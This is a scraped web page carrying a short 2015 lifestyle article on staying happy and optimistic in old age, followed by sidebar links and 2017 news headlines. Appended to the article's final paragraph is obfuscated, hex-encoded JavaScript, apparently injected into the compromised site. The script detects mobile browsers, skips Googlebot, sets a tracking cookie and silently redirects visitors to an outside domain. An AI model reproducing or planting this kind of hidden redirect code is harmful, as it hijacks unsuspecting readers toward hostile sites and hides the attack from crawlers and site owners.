logo

Secrets of happiness in later life

TAGS:     

THEME:   LIFE STYLE

By Sok | November 25, 2015 1:09 pm

Negative attitude about getting older is not just a root of unhappiness– it is also harmful to your health. If you want to live well in later life you must develop optimistic mindset.

Optimists enjoy greater psychological strength and more likely to cope positively when things go wrong. Optimists view life as adventurous journey rather than endless suffering.

Be grateful

Focus your mind on what you have gained rather than on what you have lost in your advanced years. Happiness comes from more from wanting what you already have rather than having what you want.

If you want to live well in later life you must develop optimistic mindset

If you want to live well in later life you must develop optimistic mindset

Enjoy positive moments.

Time flies faster as you get older so relax and enjoy beauty of nature.  Positive reminiscence is a wise way of analyzing your past.

Focus outwards

Isolation and social antipathy are very negative factors as we age. Good friends and active social live are main key to well-being.  Reach out and invest time and efforts in developing positive relationships. Create your own social network.

Live meaningful life.

Stop thinking about small stuff and concentrate on what is really important for you- people you love or charitable deeds you are passionate about.

Learn to forgive and let go.

Let go of what is no longer interest you and move away from meaningless situations. Forgive or forget those who have hurt you in the past.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

top_banner PRINT THIS

Comments are closed.

  • PLACE YOUR LISTINGS
  • RED LIGHT CAMERAS

  • MTA UPDATES

  • rek1
  • rek2
  • OUR WRITERS

    SokSok
    Jan OvlandJan Ovland
    Ann TyllerAnn Tyller
    SisiBroadSisiBroad
    Dan BartDan Bart
    Serge KSerge K
  • RSS Top News

    • The Latest: McMaster: N. Korea a 'grave threat' to US, China - Washington Post April 30, 2017
      Washington PostThe Latest: McMaster: N. Korea a 'grave threat' to US, ChinaWashington PostSEOUL, South Korea — The Latest on North Korea test-firing a missile (all times local):. 10:10 p.m.. Trump's national security adviser, Army Lt. Gen. H.R. McMaster, says North Korea's most recent missile test represents “open defiance of the ...S.Korea says US reaffirms it […]
    • Hasan Minhaj's Trump-bashing comedy routine at the White House correspondents' dinner, annotated - Washington Post April 30, 2017
      Washington PostHasan Minhaj's Trump-bashing comedy routine at the White House correspondents' dinner, annotatedWashington PostPresident Trump did not attend the White House correspondents' dinner, but he was still the butt of host Hasan Minhaj's jokes. We have annotated Minhaj's remarks using Genius. To see an annotation, click on the yellow, highlighted text. Thank you ...For Journalists, […]
    • Wild storms bring death, destruction from Texas to Missouri - USA TODAY April 30, 2017
      USA TODAYWild storms bring death, destruction from Texas to MissouriUSA TODAYFlash flood warnings were issued in multiple states Sunday, hours after tornadoes, heavy storms and floods roared through the Midwest from Missouri to Texas, leaving a trail of death and destruction. Five people were feared dead and dozens more injured ...WDAM via CNNLocal 10Official: Deaths reported, […]
    • Doug Whaley fired as Bills general manager - ESPN April 30, 2017
      ESPNDoug Whaley fired as Bills general managerESPNORCHARD PARK, N.Y. -- The Buffalo Bills fired general manager Doug Whaley, the team announced Sunday. The Bills were 30-34 in Whaley's four seasons as general manager. His only winning season came in 2014, when the Bills finished 9-7 but missed ...Doug Whaley Fired by Bills, Owner Terry Pegula Releases […]
    • The Latest: US won't seek South Korean money for THAAD - New York Daily News April 30, 2017
      New York Daily NewsThe Latest: US won't seek South Korean money for THAADNew York Daily NewsA South Korean protester holds up a card during a rally to oppose a plan to deploy the advanced U.S. missile defense system called Terminal High-Altitude Area Defense, or THAAD, near U.S. Embassy in Seoul, South Korea, Saturday, April 29, […]
  • RSS NYC Latest News


  •